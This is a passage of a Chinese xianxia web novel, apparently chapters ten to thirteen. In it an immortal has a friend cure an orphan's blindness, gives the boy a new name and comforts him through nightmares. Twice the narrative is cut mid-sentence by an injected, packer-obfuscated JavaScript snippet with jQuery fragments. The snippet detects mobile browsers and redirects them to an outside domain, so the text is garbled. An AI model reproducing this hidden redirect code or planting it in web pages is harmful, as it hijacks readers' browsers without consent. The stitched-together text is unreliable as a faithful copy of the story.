过了片刻司青衔才放下茶盏,斟酌道:“听说舜之帝君研制出来新的灵丹,可医白骨祛腐肉,不知道是真是假?”
脑子不太好使的舜之帝君张嘴就来,“你怎么知道?本君研究了四十年才成功炼出此丹。”
专注于品茶的舜之帝君并没有注意到司青衔脸上狡黠的笑容,等他反应过来的时候已经掉进了某人的陷阱里,舜之帝君后知后觉道:“你小子是想要本君新研制的灵丹,你要这个做什么?”
司青衔见此事兜不住,只好将前因后果告诉了他。
得知全部经过的舜之帝君瞬间暴怒,他不可置信道:“司青衔!你口口声声的要紧事就是让本君给一个小孩治病?!本君在你眼里就是个治病的工具!枉本君当你是挚友,你这个狼心狗肺的狗东西。”
狼心狗肺,果然是舜之能说出来的话。
司青衔被他的话逗笑,这人从小就是炮仗脾性,还真是跟小时候一模一样。
他随手将桌上的一碟龙井软酪推到舜之帝君面前,解释道:“我原本不想节外生枝,但这孩子身世凄苦,相依为命的阿姐在临死前将这孩子托付给我,这总不能食言……”
舜之帝君听得一肚子火,他重重地将茶盏摔到桌上,怒不可遏道:“就因为他可怜你就把他带回来,那你看我可不可怜,花了四十年世间才研制出来的灵丹,你说给就给出去了,你现在还要收他为徒。司青衔,你忘了蓬莱门规了?”
司青衔顿了一瞬,坦然道:“但我总要先治好他的眼疾,至于掌门师兄答不答应,日后再议。”
司青衔这小子什么时候这么婆婆妈妈了。
这厮捡了个孩子就性情大变,他平日可不是这么贴心的性子,当真是件稀罕事。
舜之帝君盯着门外廊下的小孩看了一会儿,他的眼疾应该不是娘胎里带出来的病,那就好治多了。
他放下手中的茶盏,道:“他的眼疾不难治,但是需要几味珍贵的药材,本君觉得这笔买卖不划算,你要耗费百年修为和不少仙草才能治好他这副虚弱的身子,但是很明显他只是个普通的凡人小孩。”
廊下的楼弃刚好侧首,舜之帝君看清了他的面容,呼吸一滞,“不,确切来说是个有点丑陋粗鄙的小孩。”
“到底能不能治?”司青衔不耐烦的打断了某人的话,当着孩子的面说话也不知道收敛点,这家伙真是越来越没分寸了。
舜之帝君瞥了眼脸色阴沉的司青衔,暗笑他这副样子活像是当了爹,不仅操碎了心还格外护犊子。
他抖了抖袖子,笑道:“当然能治,你这尊大佛都开口了我敢不治好?但你可要想清楚,此子命格不好,将来怕是生死难料,你若要收他为徒,那便不是收徒是作死。”
司青衔嘴角的笑容愈深,他意味深长地看了一眼坐在廊下的小孩,道:“这就不劳帝君操心了。”
巧了,他这人有两个毛病,一是喜欢性子倔强执拗的小玩意,二是一旦做了决断就不会更改。
11. 第十一章
舜之帝君倒是个说话算数的家伙,不出半日就寻来了十几株仙草丢进炼丹鼎,他边消耗灵力边骂司青衔这个狗东西,害得自己又要耗费这么多灵力。
舜之帝君在炼丹阁整整呆了三日才炼了一半仙草,还有几株罕见的仙草要,想炼化这几株罕见的仙草恐怕还要再等个四五日。
“司青衔这个死玩意,每次都诓骗老子!”
舜之帝君制药的同时,司青衔正在镜花台浴阁将百年修为凝聚在这一池温泉中。
原本是想用安神香让楼弃睡上三四日,由舜之和都夷起法阵,司青衔在阵中将百年修为渡给楼弃,但他再三思忖还是觉得直接将修为渡给楼弃太冒险,毕竟还是个孩子,尚没能修出仙根,恐怕难以承受仙力。
一炷香的时间已到。
司青衔挥袖收回不断外涌的灵力,他平心静气了片刻后才缓缓睁开眼,眼前这一池温泉浮着红白相间的花瓣,水流浮动间有碎银一般的白光映在池底。
眼下百年修为皆散在池中,万事俱备只欠东风,只等某人送来他的宝贝丹药。
舜之帝君四十年时间制出丹药再加上药谷的十几株仙草,楼弃的眼疾不仅能治好,还不会有任何后遗症。
这下三七应该也能安心了,毕竟那孩子临终前只有这一个愿望,纵使只有两面之缘,也总要了却她的一桩心事。
不眠不休了两日,司青衔一直紧绷的心刚松懈下来就觉得疲惫得很。
他本想直接回寝殿歇息,但突然想到近日镜花台多了几名仙侍,担心她们误闯浴阁,便抬手施下一个结界,如此一来其他人不能踏进浴阁半步。
司青衔路过偏殿的时候听见殿内传出嘈杂的声音,他不经意瞥了一眼,眼前的一幕惊得他眼皮一跳,这是闹得哪一出?
大门敞开的寝殿地上有许多散乱的玩具和话本子,还有几件新衣裳随意丢在软榻上。
一道屏风隔开了这一地狼藉,屏风后有四五个仙侍围在楼弃身边,面对一声不吭的楼弃,仙侍们真是束手无策,一看到刚踏进门的司青衔,她们瞬间眼前一亮,解释道:“花朝她去监督惊蛰堂的弟子们御剑飞行了,花朝走之后这孩子就不肯吃饭,他就交给您了,我们还要去藏书阁打扫就不耽误时间了。”
“先下去吧。”
司青衔示意她们退下,仙侍们立马消失得无影无踪。
他打量着一言不发的楼弃,猜测这小孩应该是生气了,具体是什么原因他还不知道,便斟酌开口,“小楼弃,你是不想吃还是要本尊喂?”
这小孩压根没搭理自己,司青衔碰了一鼻子灰,他将目光投向旁边的矮桌,桌上摆了精致的糕点,一碗热气腾腾的小米粥,一屉包子,几碟开胃的小菜。
这一桌子早膳挺丰富的啊,养小孩比他想象中难多了,居然还挑食。
司青衔直接端了碗热粥坐在榻前的脚踏上,他伸手理了理楼弃的衣襟,问道:“想不想喝粥?”
楼弃别开脸不愿搭理某人,“………”
司青衔没再惯着他,舀了一勺粥送到楼弃嘴边,“粥里加了糖,不烫,张嘴。”
小楼弃还没来得及拒绝就被直接塞了一勺热粥,就这样硬生生被喂了大半碗粥,他才反应过来自己是被强行喂饭了。
他小声嘀咕道:“做神仙的也会骗小孩子吗?”
这孩子人小脾气大,不是熟悉的人喂饭竟一口也不吃,真是执拗。
司青衔轻笑着放下碗,慢悠悠道:“本尊可没遇到过像你这么倔的小孩子,你这脾性跟本尊的师弟小时候一模一样,但你比他长得好看。”
“…………”楼弃听不懂司青衔的话,他没再吭声,而是自顾自地玩着手里的孔明锁。
过了好一会才轻声问了句,“那你长得好看吗?”
“相貌平平,不过尔尔。”
司青衔拿起塌边的外袍披到楼弃肩上,摸了摸他的脑袋,嘱咐道:“小阿弃,你想吃什么就告诉照顾你的姐姐,姐姐们都很喜欢你。”
楼弃有些不适应司青衔陪在自己身侧,因为他摸不清这人的脾气,也不明白这人带他回来又扔到一旁是不是讨厌自己。
楼弃安静了好一会儿才问道:“花朝姐姐呢?我想她了。”
司青衔温声道:“可是花朝很忙,她晚点才能来陪你,好不好?”
楼弃闷闷的开口,“那你呢?”你明明说要把我带回家,可这里不是家,更没有我信任的人。
司青衔察觉到小孩的情绪不佳便拿了块糕点塞到小楼弃手里,安抚道:“镜花台有很多好玩的东西,蓬莱也有很多有趣的师兄师姐,以后小阿弃会喜欢上这里的。”
“你撒谎。”
楼弃直接甩开司青衔的手,他知道司青衔是在骗自己,如果司青衔真的喜欢自己就不会一连几天都不出现,也不会把自己随便丢给别人。
司青衔倒也不恼,他伸手掐了下小楼弃的脸,一本正经道:“小孩子气性怎么这么大,你再闹本尊就揍你了。”
“…………”楼弃瞬间就老实了,这人说不过就用武力威胁人,真是幼稚极了!
“呵。”
司青衔顺手捋了捋楼弃额前的碎发,楼弃下意识往后缩了一下,直到司青衔忍不住笑出声,他才意识到这是在开玩笑。
他拿起桌上的帕子擦干净小孩嘴角的酥皮,笑道:“一句玩笑话把你吓成这样,本尊还以为你胆子大得很,用绝食来跟本尊抗议。”
“…………”
楼弃吃着糕点琢磨是不是所有的神仙都这么奇怪,说出来的话像是脑子被驴踢了一样,比东萝村南头的傻子还要奇怪。
舜之帝君炼好仙草已经是两日后。
他刚炼出丹药就马不停蹄的赶到镜花台,一推开殿门就被眼前的一幕惊掉了下巴。
“你们这是在干什么?!”
眼前人人称赞光风霁月谦谦君子的司青衔正在一手摁住小楼弃的肩,一手端着碗往孩子嘴里灌。
小楼弃拼命挣扎不肯喝,碗里大半的药都撒了。
起初司青衔的脸色并不算好,见碗里的药撒了一半彻底黑了脸,他直接掐住楼弃的下巴将剩下的半碗药灌了进去。
小楼弃被呛得直咳嗽,“咳咳咳……”
“司青衔你小子这是家暴!孩子还小,你至于动手吗?”
舜之帝君哪儿能眼睁睁看着司青衔欺负人,他直接用仙法将人从司青衔怀里抢了过来,一脸心疼地拿着帕子给小楼弃擦嘴,埋怨道:“到底还是个孩子,你至于这么生气吗?”
“本尊再不强行灌药,又要浪费这一锅刚熬好的药了。”
司青衔慢条斯理地放下碗,想起方才小楼弃的混账行为就气得头突突直跳,他指着榻上被打翻的四个瓷碗,似笑非笑道:“本尊是头一次养孩子,也是头一次知道脾气倔的小孩这么难养,就连喂个药都这么难,小楼弃,你真是令本尊刮目相看。”
舜之帝君顺着司青衔指的方向看过去,可谓是满地狼藉,就连榻上的枕头都被扔在地上,他惊得眼皮一跳,感叹道:“这孩子脾气倒是不小,真是像极了云诸。”
一想到云诸眼前就浮现出那皮猴子小时候拆墙砸瓦,炸院子炸天池,就连膳堂的鸡鸭都被他全捉去烤了。
司青衔唇边的笑意略显无奈,叹道:“这孩子跟云诸小时候一模一样,一想到云诸那个小混球我就头疼。”
他走到楼弃面前,抬手施了清洁术将孩子身上的衣裳收拾干净,又顺手理了理楼弃额前鬓发,温声道:“阿弃,等会舜之帝君要给你治疗眼疾,不许再闹脾气。”
“嗯。”楼弃也不知道自己在闹什么,明明有人肯带自己回家是件好事。
也许是因为害怕再次被抛弃,所以才会不断反复推开司青衔,他只是想要确认不会被再次抛弃。
浴阁外被施下结界,外人无法踏足半步。
舜之帝君将数瓶丹药倒入池中,瞬间有数千只萤火虫从池中涌出。
楼弃只穿了件单薄的寝衣,他站在池中感受到池底有一股热气往外涌,这感觉实在是太过痛苦,像是密密麻麻的小虫子在啃咬身上的每一寸。
没过多久,楼弃就觉得眉眼间的炙热痛楚就变得越来越强烈。
他紧紧攥着衣角强忍着不肯哭出声,直到这股疼痛渐渐消失他才稍稍缓了口气。
坐在一旁矮桌前喝茶的舜之帝君瞥了一眼池中的情况。
呵,这小孩倒是挺能忍的,不似寻常孩子爱哭爱闹,想必是以前吃了不少苦头才能如此忍耐。
他放下茶盏,慢悠悠道:“司青衔,你觉不觉得这小孩挺乖的。”
对面的司青衔正翻看着云晟送来的话本子,他修长的手指有一搭没一搭地在桌上敲着,随口应道:“现下是挺乖的,只是偶尔会乱发脾气,本尊都不知道他在闹什么。”
舜之帝君撑着下巴再次看向站在池中满头是汗的小楼弃,他倒觉得这孩子并不是脾气古怪,而是在陌生地方没有安全感。
他坦诚道:“本君觉得你没琢磨明白这孩子的性情,本君能看出来这孩子敏感缺乏安全感,就像本君养的小猫,刚丧失母亲的时候凶得很,后来本君把它养在寝殿里整日陪伴,纵然它不够乖巧温顺那又怎样?本君最喜欢的就是它,旁的小猫小狗都比不上它。”
司青衔将话本搁在桌上,若有所思道:“这倒是有几分道理,以前总见云诸教导弟子头头是道,就连掌门师兄都收了徒弟,我还以为养孩子是最寻常不过的事,没想到千人有千面,就连孩子也性格迥然不同。”
舜之帝君伸手给自己倒了一盏茶,慢悠悠道:“小孩子嘛,你对他好,他自然也会对你好,尤其是这种身世坎坷的小可怜,先不要送
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799313|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去蓬莱新生弟子所待的惊蛰堂,你把他留在镜花台是最好的法子,免得因为性子孤僻被人欺负,彼时再这岂不是误人子弟。”
“你的意思是我蓬莱教不好一个孩子?”
司青衔一个眼神扫过来,舜之帝君立马改了口,“本君的意思是由玉阙真人亲自教导是再好不过了,他是你带回来的,自然跟你缘分更深,更何况玉阙真人师承无极真人,天上地下再找不出第二个如此优秀的师者,这个孩子除了你没人能教好。”
司青衔若有所思的看着池中的小孩,亲自抚养一个孩子……会不会很麻烦?
整整一个时辰过去。
池底的水流突然被一股强大的灵力搅动起来,紧接着楼弃身上的痛觉越来越强,他闷哼一声,险些站不稳。
司青衔下意识用灵力托住逐渐失去意识的楼弃,他侧首看向坐在一旁喝茶看热闹的舜之帝君,蹙眉问道:“你在水里加了什么?”
舜之帝君一脸无辜道:“就是几味草药而已,谁知道他体质这么差,这可都是上好的补药,你心疼这小子,我还心疼我的宝贝草药呢。”
司青衔实在听不下去了,直接挥袖将舜之帝君连人带桌子瞬移送回了昆仑,舜之帝君只觉眼前闪起一道白光,紧接着就看见了熟悉的大殿和正趴在桌案上抄书的小徒弟迟绪。
舜之帝君立刻反应过来某人是用瞬移的术法将自己传送回昆仑山,司青衔竟然动用消耗灵力的瞬移术,这是有多嫌弃自己?
他忿忿不平道:“有本事你别求本君啊,每次都拿本君当工具,用完就扔。”
楼弃昏睡了整整三天才醒过来。
司青衔原以为这孩子要睡上十天半个月便将他带回自己的寝殿。
蓬莱众人见司青衔亲自照料这孩子只觉得惊奇,师尊一向不喜喧闹,竟然会亲自抚养一个小孩子,这简直是不可思议。
楼弃醒来的时候,司青衔正在桌前作画,狼毫笔蘸浓墨勾勒出群山峻岭,再蘸取石绿在山峰处着色,点缀上野草碎石。
他欲在鹤顶点上朱砂时听到屏风后的床榻传来窸窸窣窣的动静,紧接着就是小楼弃略显沙哑的声音,“这是哪里?”
醒了?!这孩子总算是醒了。
司青衔立马将笔搁在砚台上,他快步走到榻前将楼弃扶起来,又顺手拿过一旁的铜镜递到楼弃手中。
骨节分明的手摘下了覆在楼弃眼前的布条,轻声道:“小楼弃,你可以睁开眼了。”
“…………”楼弃小心翼翼地睁开眼,微颤的睫毛揭示了他内心的忐忑不安。
映入眼帘的是一只修长的手拿着一面铜镜。
铜镜里是一张稚嫩的脸庞,眉眼间因烫伤留下的疤痕已经消失了,楼弃太久没有见到这张脸,一时竟觉得有些陌生。
坐在床边的司青衔见楼弃愣了许久,便忍不住伸手掐了下楼弃的脸,失笑道:“怎么是这副神情?小楼弃,你连自己的脸都记不清了?”
“?”楼弃下意识抬眸看过去,却在看清楚那人的面容后倒吸一口冷气。
眼前的仙人肤白如玉瓷,狭长的瑞凤眼清澈明亮,宛如一轮明月映在水中,平添了几分清冷,挺直的鼻梁更显轮廓分明,薄厚适中的嘴唇下有一颗小痣。
这哪里是相貌平平,这分明是村里庙会供奉的神仙模样。
楼弃看了好一会儿才回过神,他默默在心里给三七竖起大拇指,三七当真没有骗人,他竟真是货真价实的神仙哥哥。
午时三刻仙侍便端来了膳堂刚做好的菜肴,二人就在侧殿用了膳。
原本楼弃想回房待着,但司青衔拦住了他,一本正经道:“你睡了三日,现下应该不困,等你换好衣裳,本尊带你去镜花台最高的地方看风景。”
“…………”楼弃只好跟着司青衔走出侧殿。
殿门打开的瞬间有鸟雀飞过镜花台,它们隐匿在云雾里不见踪迹。
楼弃兴奋地往外跑去,眼前的一切令他无比震撼。
不管是云雾缭绕的群山峻岭,还是云层之上泛着金光的法阵,又或是从法阵中倾洒而下的天池水。
这都是楼弃从未见过的奇观,他做梦都没想到神仙住的地方会令人叹为观止。
跟在后面的司青衔摸了摸楼弃的头,笑道:“小楼弃,这里就是蓬莱山,以后也是你的家。”
家?这个词太过陌生,这里的一切都太虚幻,像是一场梦。
楼弃下意识抬眸,恰巧看到司青衔低眉轻笑,一副坦然自若的神情,他瑞凤眼下面的痣格外清晰,当真是好看极了。
“蓬莱山很大,以后你会慢慢了解每一座大殿和每一处楼阁,仙界不止有蓬莱一个门派,以后的日子还长,你看到的仙门会更多,本尊会亲自抚养教导你,我门下弟子只有一条规矩,不求你名誉天下但求你无愧本心,不枉今朝修仙得道。”
12. 第十二章
楼弃原本还沉浸在能重见光日的喜悦里,谁知当日下午就变了天,呼啸而过的北风携带着深冬的寒霜,整个蓬莱山都染上几分冷气。
他喜悦的心情瞬间坠入冰谷,下了雪的夜晚就会格外的黑,伸手不见五指的恐惧再次袭来。
镜花台的夜也会黑暗无光吗?
晚饭过后司青衔便坐到窗边的榻上,他将炉子里的炭点燃,然后在茶壶里放了阳羡雪芽又加了今年初雪时存下的积雪。
窗外是窸窸窣窣的雪落声,殿内的炭火越烧越烈,壶里的茶水在沸腾翻滚,司青衔靠在楠木凭几上看话本子,绿豆蜷缩在草窝里睡觉。
这只不过是最寻常的日子,对楼弃来说却是求之不得的安宁,不,准确来说这是他做梦都不敢奢望的生活。
楼弃坐在云纹蒲团上认真研究手里的九连环,环环相扣互为因果,每一环都跟下一环有关联。
他摆弄了半天也没想出来解开的法子,小声嘀咕了一句:“这也太复杂了。”
阿娘以前给他买过木偶娃娃、拨浪鼓、布老虎,像九连环这样需要动脑子的玩具,阿娘说他还太小等长大了再给他买。
他已经过了八岁生辰,阿娘却再也不会给他买玩具了。
坐在榻上看书的司青衔注意到正在发愁的小楼弃,他瞥见小徒弟皱着眉一副困惑的神情,再看他手里的九连环丝毫未动,猜到他应该是不会玩这九连环。
他放下手里的话本,朝楼弃招了招手,“阿弃,过来。”
楼弃听话地走到司青衔面前,他直接将手里的九连环递过去,闷闷地开口,“这个不好玩。”
司青衔接过九连环仔细端详了一下,原来是因为解不开才生闷气,这小孩真好玩。
“不好玩?我怎么觉得是你不会玩,你过来,我教你。”
这人真是无趣得很。
楼弃嘴上没吭声,但还是忍不住偷看司青衔熟练地解开了九连环前两个环,惊得他眼皮一跳,心里嘀咕道:这人怎么什么都会。
没过多久司青衔就顺利解开了一半的环,他瞥见楼弃专注地盯着自己手上的动作,唇角的笑意愈深,养了个口是心非的小玩意真是有趣极了。
司青衔把解开的九连环递到楼弃手里,他想让楼弃再试一次,便施法将九连环恢复原样,挑眉道:“这次学会了吧。”
楼弃认真地开始琢磨九连环,没过多久就顺利解开了,他又拿起地上的鲁班锁,不出意外又解开了。
“你小子挺聪明啊。”
司青衔没想到楼弃能一点就通,他赞许的眼神落在楼弃身上,孺子可教啊,这孩子可比今年新招的弟子聪慧得多。
玉阙真人是八荒六合最有天赋的修仙者,是无极真人最出色的弟子,自然也是蓬莱最牛逼的仙尊之一,仅次于蓬莱掌门。
天之骄子向来眼光毒辣,司青衔年少时也曾在山巅俯视众生,他自然更喜欢有慧根的弟子,但比起有慧根的弟子,他还是觉得这小玩意更有意思。
看着满脸开心的小徒弟,司青衔猛地想起舜之随口说起的一句话,“你这徒弟哪里都好,就是名字不好,这孩子原本就命运坎坷,这名字更是雪上加霜了。”
楼弃,弃字从来就不是什么好字,只有抛之弃之的意思。
司青衔又突然想到这孩子搬进镜花台之后,自己还没送过他拜师礼,不如就送给他一个新名字。
他顺手捋了捋楼弃额前的鬓发,道:“阿弃,为师有一个礼物想送给你,好不好?”
“?”楼弃一脸疑惑地看着嘴角含笑的司青衔,这人怎么总是一副气闲神定的样子,好像任何事情都不会打乱他平静的心绪,真是怪得很。
司青衔起身走到紫檀木桌案前,他拿起墨迹未干的毛笔沾了浓墨,手上的毛笔滴了两滴浓墨在宣纸边缘,他思忖片刻才在宣纸上写下一个‘珩’字。
他挥洒自如的动作像是另外一个人,隐隐透着意气风发和上位者的从容不迫。
纸上虽然只写了一个字,但笔锋苍劲有力,力透纸背的锋利显露出来。
楼弃走过去才看清楚纸上的字,嗯,这字写得是极好的,但他不认识。
他略显尴尬地笑了一下,“师尊,这个字我不认识。”
“无妨,为师教你写这个字。”
司青衔掩唇浅笑着将毛笔递给小徒弟,楼弃生疏地握住毛笔,方才摆弄玩具十分灵活的手变得无比僵硬。
司青衔注意到楼弃的握笔姿势是错的,但他并没有责怪楼弃,而是俯身握住了小徒弟的手,在纸上一笔一划地写下一个‘珩’字。
在最后一笔落下前,司青衔清冽的嗓音在楼弃耳边响起,就像是一泓清澈的泉水从山谷而下,能冲刷所有肮脏不堪的东西,也包括楼弃过往的一切不堪。
“积石有玉,列松如翠,郎艳独绝,世无其二,是为珩也,这个珩字就是为师送给你的礼物。”
积石有玉,玉一向是君子所好,阿娘总说君子如玉是温润美好之意,玉又被世人赞誉是高雅之物。
听到司青衔的解释后楼弃诧异地抬眸,如此好听的字居然是他的新名字?!他怎么配得上这样好的字……
他喃喃道:“新名字?”
司青衔没听出楼弃的顾虑,只当他是高兴,便拿着他的手继续在纸上写珩字,解释道:“小楼弃,为师觉得你的名字不好听,避而弃之,这寓意不好,所以为师送给你一个新的名字,可好?”
也许是司青衔眼底的笑意过于温和,看得楼弃脑海一片空白,下意识点了点头,应道:“好。”
等他反应过来的时候,自己已经答应了某人,他生无可恋地别过脸,早知道就不该分心,这下好了,连名字都改了。
放下毛笔的司青衔看见小徒弟一副纠结的神情就猜到他是不好意思,便伸手摸了摸小徒弟的脑袋,不出意料地被他躲开了。
司青衔唇角的笑意愈深,这小子还挺傲娇,便故意逗他,一直喊他的名字,“阿珩,阿珩,阿珩。”
楼珩听得脸上一烫,这人怎么这么无聊!他别扭地开口,“干什么?”
司青衔一本正经道:“刚才叫你好几遍,你都不理人,还以为你不喜欢这个名字。”
楼珩默默骂了句有病,但还是礼貌地笑了笑,“师尊起得名字自然是极好的,这个字我第一次见所以觉得稀奇。”
这孩子还挺会敷衍人。
司青衔端起桌上的茶盏细细品尝这茶,他突然想起膳堂王大娘的手艺,肚子里的馋虫瞬间被勾出来,他倒是想尝尝王大娘做的面,便淡淡开口,“阿珩,你喜欢吃面吗?膳堂的王大娘做面很好吃。”
楼珩疑惑地看了一眼慢悠悠喝茶的司青衔,这人是想吃面了?想吃就吃呗,干嘛非拉上自己?
虽然不理解司青衔的行为,但他还是乖巧应道:“都可以,师尊,我不挑。”
楼珩还没反应过来司青衔的话是什么意思,仙侍就已经端着两碗热气腾腾的春笋肉丝面、一碟子梅花糖糕、一份虾仁豆腐羹放在桌上了。
他看着眼前浓油赤酱的肉丝面,心里默默吐槽司青衔的口味真是奇特,这玩意能好吃吗?
“仙尊,您要的吃食已经送来了,若没有旁的要事,我等告退。”
仙侍们恭敬地行礼后就退下了。
司青衔拿起筷子夹了几根冒着热气的面咬了一口,嗯,味道果然没变,他又尝了一块梅花糖糕,香甜软糯,不愧是王大娘的手艺,是天下无人能比的绝妙。
吃得正欢的司青衔瞥见坐在凳子上一言不发的楼珩,这孩子既没动筷子又没吃糕点,难道是不喜欢吃甜口的面?
便将另一碗推到楼珩面前,道:“你怎么不吃?甜咸口的面很好吃,你尝尝就知道了。”
楼珩听得头皮一跳,甜口的面?!这玩意能吃吗?
在司青衔期待的目光下,楼珩颤巍巍的手拿起了竹筷,他夹了一根塞进嘴里,浓油裹着甜酱的味道真是一言难尽。
他放下筷子,小心翼翼地问道:“…………师尊,您当真觉得这面很好吃?”
司青衔认真地点点头,“好吃啊,为师在外游历就惦记这一口,为师觉得这整个蓬莱最会做菜的就是王大娘。”
“师尊的口味真是独特。”
楼珩尴尬地笑了笑,默默放下筷子后拿一块梅花糖糕,他还是老老实实吃糕点吧,司青衔这口味真是特立独行,他从都没见过这么怪的人。
司青衔一碗面吃完才发现楼珩一口没动,他自然地拿起楼珩面前的青瓷碗,又顺手将瓷碗里的面倒到自己碗里,看来这小子是不喜欢吃甜的,便随口一问:“阿珩不喜欢吃甜口,那你喜欢重咸还是重辣?”
楼珩看着手上的糖糕,想起总是给他做饭的阿娘,便答道:“阿娘从小做饭就爱加辣椒,阿娘说我随了她的无辣不欢,所以我习惯吃辣。”
司青衔若有所思的点点头,看来是他的阿娘给他整日做辛辣食物,楼珩只要提起他阿娘就很开心,想来他阿娘应该是对他极好的,便轻声道:“既然阿珩不喜欢吃甜的,以后为师会吩咐膳堂另外送一份放辣的菜肴。”
楼珩连忙拒绝司青衔的好意,“师尊,不用这么麻烦,以后我习惯吃甜就好了……”
司青衔直接打断了楼珩的话,他给楼珩盛了碗豆腐羹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799314|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,淡淡开口,“膳堂的菜有很多,做饭的厨子更多,有擅长做甜的自然就有擅长做辣的,作为师父应该清楚弟子的喜好,作为蓬莱众弟子的师尊,便理应照拂弟子。你喜欢吃辣并不是麻烦,以后不要再说这种话。”
“是。”
这顿夜宵让楼珩对司青衔有了更多的认识,原来看上去清冷傲岸的师尊也跟常人一样有喜好厌恶,那师尊也会像旁人教导徒弟一样疼爱他、保护他吗?
楼珩想不出答案,但很快他就有了答案。
当天夜里北风呼啸,尤其是后半夜冷霜砸在窗上的声音让楼珩想起了在东萝村无依无靠的每一个夜晚。
紧接着他就做了一个梦。
梦里只有一片望不到边的黑暗,无尽的黑夜里有数不清举着镰刀、拿着斧子的村民在后面追。
他们嘴里喊着“这个孽障早就该死了”,“他就是扫把星,克死了他娘还不够,他这是要我们全村人的命啊,杀了他,咱们才能活!”,“十三年前的棺材子苟活至今已经是慈悲了!把这兔崽子绑在树下喂狼。”
瞎了眼的孩童拄着木棍跌跌撞撞地往前跑。
他看不清脚下的路也不知道自己要去何处,但他知道自己只要停下就会被村民绑起来活活烧死。
他哽咽着往前跑,摔倒了就爬起来,脑子里只有一个念头:继续跑下去,不能回头不能停。
每一次摸不清方向都会滚下滑坡或者是掉进石洞,摔得多了自然就不怕疼了,连眼泪都不会掉了。
他跑得越快,身后的村民就追得越紧。
“啊!!!你们不要过来,我不是灾星,我不是…………”
刚入睡不久的司青衔突然听到隔壁寝殿传来的哭喊声,他愣了两秒才反应过来,这声音是楼珩!
他立马起身披了件外袍直接瞬移到隔壁寝殿,快步走到床榻前掀起床幔,只见床上的孩童眉心紧蹙,像是被困在噩梦里。
司青衔伸手去碰楼珩的额头,触手竟是一片冰凉,到底是怎样的梦才会让他吓出一身冷汗?
他念了两遍驱魇咒才让床上的孩童安静下来,司青衔稍稍松了口气,只是这小孩紧紧抓着自己的袖子,全然是一副怕极了的模样。
他便顺势在床边坐下,骨节分明的手轻轻摩挲着楼珩的脸,喃喃道:“小阿珩,你到底梦见什么了?”
楼珩又睡了半刻才悠悠转醒,醒来的楼珩猛地坐起来,嘶哑开口,“这是在哪儿?”
司青衔正将浸了温水的帕子拧干,他动作自然地给楼珩擦汗,解释道:“你方才做了噩梦,为师已经点上了安神的熏香,阿珩,你刚才梦见了什么?”
楼珩呆呆地看着关怀备至的师尊,脑海里浮现出方才的梦,他已经很久没有做过梦了。
“师尊,我梦见以前四处流浪的日子了,有很多人都在追我,很多人都想杀我……”
司青衔还没等楼珩说完就将人搂进怀里,他轻拍着楼珩的后背,安抚道:“好了,我们不说了,以后师尊会保护阿珩,而且在蓬莱也不会有人伤害你,阿珩不怕。”
“嗯。”楼珩闷闷的应了一声,他心有余悸地拽住司青衔的手,“神仙哥哥,你能不能别走……”
“师尊永远都不会抛下你,阿珩现在什么都不要想,安心睡上一觉。”
司青衔理了理楼珩额前的鬓发,突然想起明日是腊八,云晟那小子肯定会来镜花台送师兄亲手做的糕点,便随口道:“你可以想想明日要吃什么,等睡醒了告诉为师,现在好好睡一觉。”
“…………”
楼珩原本被噩梦惊得怕极了,但不知道司青衔点了什么香,没过一会儿就睡意来袭,眼皮重得睁不开,很快就睡着了。
司青衔等楼珩睡沉了才替他掖好被子,他本想回自己的寝殿,奈何楼珩紧紧攥着自己的袖子不肯松半分。
罢了罢了,现下让楼珩好好睡一觉才是最要紧的事。
司青衔索性将外袍搁在一旁的矮凳上,他宽衣躺在床榻外侧,感受到身旁的人呼吸平稳才安心睡去。
次日楼珩看到床头挂的鱼灯,以及殿内每一处棱角分明的地方都被打磨平滑,就连台阶上都铺了毯子。
司青衔知道楼珩怕黑睡不好就在楼弃的寝殿床头挂了一盏内嵌夜明珠的鱼灯,又特意将殿内的熏香都换成了助眠的檀香。
寝殿内所有的台阶下面都被镶嵌了一排极小的夜明珠,一整夜都会有亮光,如此楼珩便能看得清脚下的路。
这些细致之处让楼珩愣了好久,他想过司青衔会照顾好自己,但他没想到师尊居然如此细致周到,这操心劲儿不像是做师父,倒像是当爹做娘。
13. 第十三章
“今日是腊八,等会膳堂要送来腊八粥,云晟也会来送糕点。”
正在榻上看书的司青衔瞥见趴在矮桌上蔫了吧唧的小徒弟,以为他是昨夜没有睡好,便淡淡开口,“若是太困就回去歇息吧,等你睡好了,为师让花朝他们来镜花台陪你玩,可好?”
司青衔随手一挥,桌上腾空变出来的孔明锁让楼珩眼前一亮,“花朝阿姐?很久没见到她了,但我不困,我想玩这个。”
司青衔被楼珩的反应逗笑,他撑着下巴,饶有兴致地盯着专心玩孔明锁的小徒弟,他嗤笑一声,养孩子还挺有意思的。
这点小玩意就能把他哄开心,没什么难的嘛。
没过多久江花朝就用纸鹤传信,‘掌门邀师尊去照泽殿商议要事。’
司青衔平日里很少插手蓬莱的琐碎小事,掌门师兄亲自找他就一定是极重要的事。
“为师现在有事要去照泽殿议事,你换好衣裳花朝就会来镜花台接你去玉林玩。”
于是楼珩就被丢给了江花朝,他站在衣柜前纠结了许久,师尊这人审美挺一言难尽的。
上次江花朝说小孩子不应该穿得死气沉沉,这话司青衔确实听进去了,他按照自己的喜好给楼珩添置了各式各样的衣裳,足足塞满了两个衣柜。
